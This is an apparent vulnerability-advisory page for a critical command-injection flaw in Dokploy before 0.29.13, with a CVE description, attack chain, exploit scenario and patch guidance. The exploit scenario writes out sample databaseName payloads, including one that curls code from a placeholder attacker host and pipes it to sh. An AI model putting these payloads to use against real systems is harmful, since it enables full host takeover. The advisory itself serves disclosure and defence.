9.9 CRITICAL

Network-reachable tRPC endpoint (AV:N/AC:L) requires a low-privilege backup:restore account (PR:L), no interaction (UI:N), and injected code escapes the container to the Docker-privileged host (S:C) with full C/I/A impact.

DescriptionCVE.org

Dokploy is a free, self-hostable Platform as a Service (PaaS). Prior to 0.29.13, the backup.restoreBackupWithLogs tRPC subscription passes the databaseName parameter to restore builders in packages/server/src/utils/restore/utils.ts, where PostgreSQL, MariaDB, MySQL, and MongoDB commands embed the value in nested shell text executed by Node.js exec. An authenticated user with backup:restore permission can supply a crafted databaseName that the host /bin/sh expands before docker exec, resulting in arbitrary commands running in the Docker-privileged host context. This issue is fixed in version 0.29.13.

AnalysisAI

OS command injection in Dokploy (self-hosted PaaS) before 0.29.13 lets an authenticated user with the backup:restore permission run arbitrary commands on the Docker-privileged host. The backup.restoreBackupWithLogs tRPC subscription forwards an attacker-controlled databaseName into shell strings that Node.js exec passes to /bin/sh before docker exec, so the outer host shell expands injected metacharacters. …

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Authenticate with backup:restore account
Delivery

Exploit
Submit crafted databaseName payload
Execution
Host /bin/sh expands metacharacters before docker exec
Persist
Execute arbitrary commands in Docker-privileged host context
Impact
Full host compromise

Vulnerability AssessmentAI

Exploitation Exploitation requires an authenticated Dokploy account that holds the backup:restore permission (CVSS PR:L confirms authentication is needed) and use of the backup.restoreBackupWithLogs tRPC subscription, where the attacker controls the databaseName parameter fed to the PostgreSQL, MariaDB, MySQL, or MongoDB restore builder. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment All signals point to a genuine high priority. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An insider or attacker who has phished a Dokploy account carrying backup:restore triggers a database restore and sets the target database name to a value like `x$(curl attacker/x|sh)` or `` x`touch /pwned` ``. When Dokploy builds the restore command, the host /bin/sh expands the payload before docker exec, executing the attacker's commands in the Docker-privileged host context. …
Remediation Vendor-released patch: upgrade to Dokploy 0.29.13, which rewrites the backup and restore command builders to pass database name, user, and password as shell-quote-escaped `docker exec -e` environment variables consumed inside a single-quoted inner script (see PR https://github.com/Dokploy/dokploy/pull/4862 and commit ccd2e83c57d99f725220d37e0152270e0827d71b). … Detailed patch versions, workarounds, and compensating controls in full report.

Recommended ActionAI

Within 24 hours: Inventory all Dokploy deployments, identify current versions, and audit which users hold the backup:restore permission-restrict immediately to only essential administrators. …
